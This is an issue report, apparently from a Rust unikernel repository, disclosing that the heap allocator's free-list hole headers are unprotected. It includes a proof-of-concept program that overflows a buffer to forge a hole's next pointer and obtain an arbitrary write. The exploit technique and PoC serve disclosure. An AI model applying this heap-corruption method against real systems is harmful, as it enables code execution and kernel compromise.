Missing Heap Hardening
- Dominant language
- Rust
- Stars
- 1.5k
- Forks
- 132
- Avg merge
- 1d 14h
- Merged PRs (30d)
- 39
Description
Each heap hole has a header, consisting of a `size` value containing the current hole's size as well as a `next` pointer pointing the the next hole (free list implementation).
The heap header, especially the `next` pointer is not protected in any way (pointer obfuscation, heap canaries, ...).
Let's consider a scenario where an attacker is able to overflow `Buffer 1`, which is placed directly in front of a hole:

The attacker could now overflow the buffer and overwrite the hole's header, letting the `next` pointer point to an arbitrary address, e.g. in the kernel code segment.
When the next allocation takes place, the allocator will follow the (manipulated) `next` pointer and will take whatever it points to as a hole. This is relatively foreseeable as the allocator linearly follows the linked list and uses a first fit method.

If the attacker also controls the second allocation's content, this can be used to convert the original heap buffer overflow to an arbitrary write, which can be easily used to gain code execution (e.g. by overwriting kernel code due to the missing write protection).
However, this has some boundary conditions.
1. The size value of the fake hole has to be larger than the one of all previous ones in the list, which is relatively likely when pointing to an arbitrary address. Also, the size of the requested allocation has to be larger than the size of all previous holes in the list, but smaller than the size of the fake hole in order to get exactly the fake hole allocated.
2. As the allocator follows the (fake) hole’s next pointer before allocating it, the pointer has to point to a readable address (or 0x0). Otherwise, this will lead to a page fault and crash the unikernel.
3. The double-free-check in the deallocator:
`hole_addr + hole.size <= addr`. Otherwise, the kernel will panic. If the second condition is met by letting the next pointer point to 0x0, the third condition is likely also met.
An attacker not able to meet those conditions can still use this as a denial of service attack.
Proof of concept code showing how to convert a heap buffer overflow to an arbitrary write
```rust
#[cfg(target_os = "hermit")]
extern crate hermit_sys;
fn print_heap_layout(base: usize) {
let mut i = 0;
while i < 0x280 {
unsafe {
println!("{:p}: 0x{:x}", (base+i) as *const usize, *((base+i) as *const usize));
}
i += 8;
}
}
fn main() {
println!("\n--- Welcome aboard our Airbus A 1337! ---\n");
println!("[info] Main @ {:p}", main as *const ());
// simulated intput
// fill legitimate buffer + padding to 128byte
let input: Vec = Vec::from([
// fill legitimate 128 byte buffer
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
// overwrite following hole's size
0x40, 0, 0, 0, 0, 0, 0, 0,
// overwrite following holes's next pointer with our arbitrary target address
0x80, 0x43, 0xc0, 0x01, 0, 0, 0, 0
]);
// allocate buffers
let mut buf: Vec = vec![1; 32];
let buf2: Vec = vec![2; 64];
let _buf3: Vec = vec![3; 256];
println!("\n heap layout after allocating all buffers");
print_heap_layout(buf.as_ptr() as usize);
// free buffer2 to have buffer followed by a hole
drop(buf2);
println!("\n heap layout after deallocating buffer2");
print_heap_layout(buf.as_ptr() as usize);
unsafe {
// vulnerable copy loop e.g. for a driver copying from shared mmio
let mut i = 0;
for elem in input {
*(buf.as_mut_ptr().offset(i)) = elem;
i+=1;
}
// allocator runs into page fault when fake_hole.next_ptr is not readable or not 0 (end of
// hole list)
// also the constraint hole_addr + hole.size <= addr has to be met for the next hole
// see src/mm/hole.rs#L244
// Thus, the constraint for this exploit to work is:
// 1. Target address needs to have a value large enough we get the hole allocated AND
// 2. Traget address + 8 has to be 0 or a valid readable address matching above condition
// cheat: set target address + 8 to 0 for this poc
*(0x1c04388 as *mut u64) = 0;
}
println!("\n heap layout after cheating");
print_heap_layout(buf.as_ptr() as usize);
// allocate buffer which now is allocated at out arbitrary target address
// write payload there
let buf4: Vec = vec![4; 257];
println!("\n heap layout after exploit");
print_heap_layout(buf.as_ptr() as usize);
println!("[info] written to {:p}!", buf4.as_ptr());
println!("\n--- Thank you for flying with Expl01t Airlines! ---\n");
}
```
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.